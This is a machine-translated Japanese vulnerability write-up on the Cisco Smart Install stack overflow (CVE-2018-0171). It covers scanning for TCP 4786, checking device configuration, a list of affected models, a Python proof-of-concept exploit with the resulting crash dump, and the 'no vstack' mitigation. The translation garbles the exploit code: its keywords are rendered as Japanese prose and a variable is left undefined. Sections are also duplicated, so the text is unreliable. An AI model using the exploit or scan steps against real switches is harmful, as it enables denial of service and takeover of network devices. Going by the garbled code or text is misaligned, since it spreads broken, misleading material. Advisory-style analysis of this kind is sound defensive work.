0x01はじめに
スマートインストールクライアントコードでは、スタックベースのバッファオーバーフローの脆弱性が見つかりました。攻撃者は、ログインを認証せずに任意のコードをリモートで実行できます。 Cisco Smartインストールは、新しいスイッチの簡単な展開を提供する「プラグアンドプレイ」構成および画像管理機能です。この機能により、ユーザーはCiscoスイッチをどこにでも配置し、ネットワークにインストールし、追加の構成要件なしで起動することができます。したがって、脆弱なネットワークデバイスを完全に制御できます。スマートインストールは、新しいスイッチに適したグラフィカルインターフェイス管理を提供するプラグアンドプレイの構成と画像管理機能です。初期構成プロセスを自動化し、オペレーティングシステムの現在ロードされている画像を介して新しいスイッチを提供します。この機能は、構成が変更されたときにホットプラグとホットプラグのリアルタイムバックアップも提供します。この機能は、デフォルトでクライアントで有効になっていることに注意してください。
0x02脆弱性の説明
Cisco iOSおよびiOS-XEシステムのSmartインストールクライアントコード(CVE-2018-0171)には、バッファスタックオーバーフローの脆弱性が存在します。攻撃者は、悪意のあるデータパケットをTCP 4786ポートにリモートで送信し、脆弱性を活用してターゲットデバイスのスタックオーバーフローの脆弱性をトリガーし、デバイスがサービスを拒否したり、リモートコマンドの実行を引き起こしたりし、攻撃者は脆弱性に影響を与えるネットワークデバイスをリモートで制御できます。 Cisco Switchであると報告されています
TCP 4786ポートはデフォルトで開いています
0x03脆弱性をチェック
1。シスコネットワークデバイスにTCP 4786ポートが開いている場合、攻撃に対して脆弱です。このようなデバイスを見つけるには、NMAPを介してターゲットネットワークをスキャンするだけです。
NMAP -P T:4786 192.168.1.0/24
2。ネットワークデバイスでスマートインストールクライアントの機能が有効になっているかどうかを確認するために、次の例は、スマートインストールクライアントとして構成されたCisco Catalyst Switchのshow vstack configコマンドの出力です。
switch1#show vstack config
chole: client(smartinstall exabled)
。
switch2#show vstack config
capability:クライアント
Opera Mode:有効になっています
役割:クライアント
役割:クライアントおよびオペラモード:有効または役割:show vstack configコマンド出力からのクライアント(smartinstall有効)情報は、この機能がデバイスで有効になっていることを確認します。
3. Cisco Machineでコマンドを実行して判断を下し、ポート4786を開き、SMIを使用します。
スイッチショーTCPブリーフすべて
tcblocalアドレス外国住所(州)
0344b794*.4786*。*聞いてください
0350A018*.443*。*聞いてください
03293634*.443*。*聞いてください
03292d9c*.80*。*聞いてください
03292504*.80*。*聞いてください
Cisco iOSおよびIEXソフトウェアバージョンチェック:
ルーターショーバージョン
Cisco IOSソフトウェア、C2951ソフトウェア(C2951-UniversAlk9-M)、バージョン15.5(2)T1、リリースソフトウェア(FC1)
テクニカルサポート: http://www.cisco.com/techsupport
Copyright(c)1986-2015 Cisco Systems、Inc。
Mon 22-Jun-15 09:32 by prod_rel_teamをコンパイルしました
iOS-xe-device#showバージョン
Cisco IOSソフトウェア、Catalyst L3 Switchソフトウェア(CAT3K_CAA-UNIVERSALK9-M)、バージョンDenali 16.2.1、リリースソフトウェア(FC1)
テクニカルサポート: http://www.cisco.com/techsupport
Copyright(c)1986-2016 Cisco Systems、Inc。
MCPREによるSun 27-Mar-16 21:47を編集しました
4.脆弱性が影響を受けたかどうかわからない場合は、CiscoのCisco IOSソフトウェアチェッカーを使用して検出できます。
https://tools.cisco.com/security/center/softwarechecker.x
5。次のスクリプトを使用して、対応するIPポートが実際に開いているかどうかを検出します。 Cisco SMIプロトコル
https://github.com/cisco-talos/smi_check/blob/master/smi_check.py
プロトコル機能はMSFにあります
https://github.com/rapid7/metasploit-framework/commit/c67e407c9c5cd28d555e1c2614776e05b628749d
#python smi_check.py -i targetip
[情報] TCPプローブをTargetIP:4786に送信します
[情報] Smart Installクライアント機能は、TargetIP:4786でアクティブになります
[情報] TargetIPが影響を受けます
0x04衝撃の範囲
インパクト機器:Catalyst 4500スーパーバイザーエンジン
シスコ触媒3850シリーズスイッチ
Cisco Catalyst 2960シリーズスイッチ
スマートインストールクライアントの一部を含むデバイスも影響を受ける可能性があります:Catalyst 4500スーパーバイザーエンジン
Catalyst 3850シリーズ
Catalyst 3750シリーズ
Catalyst 3650シリーズ
Catalyst 3560シリーズ
Catalyst 2960シリーズ
Catalyst 2975シリーズ
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUS
SM-ES3 SKUS
NME-16ES-1G-P
SM-X-ES3 SKUS
0x05脆弱性の確認
以下は、この脆弱性の検証のためのPOCです。
#smi_ibc_init_discovery_bof.py
ソケットをインポートします
インポート構造
OptParse Import optionParserから
#ターゲットオプションを解析します
parser=optionParser()
parser.add_option( '-t'、 ' - ターゲット'、dest='ターゲット'、help='スマートインストールクライアント'、デフォルト='192.168.1.1')parser.add_option( '-p'、 '-port'、dest='port'、type='int'、help=4786) parser.parse_args()
def Craft_tlv(t、v、t_fmt='!i'、l_fmt='!i'):
return struct.pack(t_fmt、t) + struct.pack(l_fmt、len(v)) + v
def send_packet(ソック、パケット):
sock.send(パケット)
def受信(靴下):
sock.recv()を返します
__name__=='__main __' :の場合
印刷'[*]スマートインストールクライアントに接続する'、options.target、 'port'、options.port
con=socket.socket(socket.af_inet、socket.sock_stream)
con.connect((options.target、options.port))
ペイロード='bbbb' * 44 shellcode='d' * 2048
data='a' * 36 + struct.pack( '!i'、len(payload) + len(shellcode) + 40) +ペイロード
tlv_1=craft_tlv(0x00000001、data)tlv_2=shellcode
PKT=HDR + TLV_1 + TLV_2
印刷'[*]悪意のあるパケットを送信
send_packet(con、pkt)
スイッチを攻撃するには、次のコマンドを実行します。
ホスト$ ./SMI_IBC_INIT_DISCOVERY_BOF.PY-T 192.168.1.1
スイッチでは、クラッシュメッセージを表示して再起動する必要があります。
00:10:35 UTC MON MAR 1 19933: CPUVECTOR 1200、PC=42424240の予期しない例外
-traceback=42424240
crashinfoをflash:/crashinfo_ext/crashinfo_ext_15に書き込みます
===フラッシングメッセージ(00:10:39 UTC MON MAR 1993)===buffered messages:
.
キューに掲載されたメッセージ:
Cisco IOSソフトウェア、C2960ソフトウェア(C2960-LANBASEK9-M)、バージョン12.2(55)SE11、リリースソフトウェア
(FC3)
テクニカルサポート: http://www.cisco.com/techsupport
Copyright(c)1986-2016 Cisco Systems、Inc。
ProD_REL_TEAMによってWED 17-AUG-16 13:46をコンパイルしました
命令TLBミス例外(0x1200)!
srr0=0x42424240 srr1=0x00029230 srr2=0x0152ace4 srr3=0x00029230
esr=0x00000000親愛なる=0x00000000 tsr=0x840000000 dbsr=0x00000000
CPUレジスタContext:
Vector=0x00001200 PC=0x42424240 msr=0x00029230 cr=0x33000053
LR=0x42424242 Ctr=0x014D5268 XER=0xc000006a
R0=0x42424242 R1=0x02B1B0B0 R2=0x0000000 R3=0x032D12B4
R4=0x000000B6 R5=0x0000001E R6=0xAA3BEC00 R7=0x0000014
R8=0x0000001E R9=0x00000000 R10=0x001BA800 R11=0xfffffff
R12=0x00000000 R13=0x00110000 R14=0x0131e1a8 r15=0x02b1b1a8
R16=0x02B1B128 R17=0x00000000 R18=0x0000000 R19=0x02B1B128
R20=0x02b1b128 R21=0x00000001 R22=0x02b1b128 r23=0x02b1b1a8
R24=0x00000001 R25=0x00000000 R26=0x42424242 R27=0x42424242
R28=0x42424242 R29=0x42424242 R30=0x42424242 R31=0x42424242
スタックtrace:
PC=0x42424240、sp=0x02b1b0b0
フレーム00: SP=0x42424242 PC=0x42424242
0x06脆弱性修正
#conf t
構成コマンドを入力します
ライン。 CNTL/zで終了します。
NSJ-131-6-16-C2960_7(config)#no
vstack
NSJ-131-6-16-C2960_7(config)#exit
重要なのは、この文がvstackなしです
もう一度見て、ポートがオフになっています。
#show TCPブリーフすべて
TCBローカル
住所の住所
(州)
075A0088 *.443
*。*
聞く
0759F6C8 *.443
*。*
聞く
0759ED08 *.80
*。*
聞く
0759E348 *.80
*。*
聞く
0x06脆弱性ハザード
これにより、攻撃者が影響を受けるデバイスにバッファオーバーフローを引き起こす可能性があります。これには、次の効果があります。
トリガーデバイスリロード
攻撃者がデバイスで任意のコードを実行できるようにします
影響を受けるデバイスに無限のループ再起動を負担すると、それはデバイスのクラッシュです
0x07脆弱性修正
#conf t
1行に1つの構成コマンドを入力します。 CNTL/zで終了します。
NSJ-131-6-16-C2960_7(config)#no vstack
NSJ-131-6-16-C2960_7(config)#exit
重要なのは、この文がvstackなしです
もう一度見て、ポートがオフになっています。
#show TCPブリーフすべて
TCBローカルアドレス外国住所(州)
075A0088 *.443 *。 *聞いてください
0759F6C8 *.443 *。 *聞いてください
0759ED08 *.80 *。 *聞いてください
0759E348 *.80 *。 *聞いてください
0x08参照
https://EMBEDI.com/blog/cisco-smart-install-remote-code-execution/
https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20180328-smi2
https://www.anquanke.com/post/id/103122
https://mp.weixin.qq.com/s/cmyuugfmox5pk89fo_er8w
https://www.youtube.com/watch?v=ce7knk6ujukfeature=youtu.bet=99
https://www.youtube.com/watch?v=tsg5ezvudnufeature=youtu.be
Recommended Comments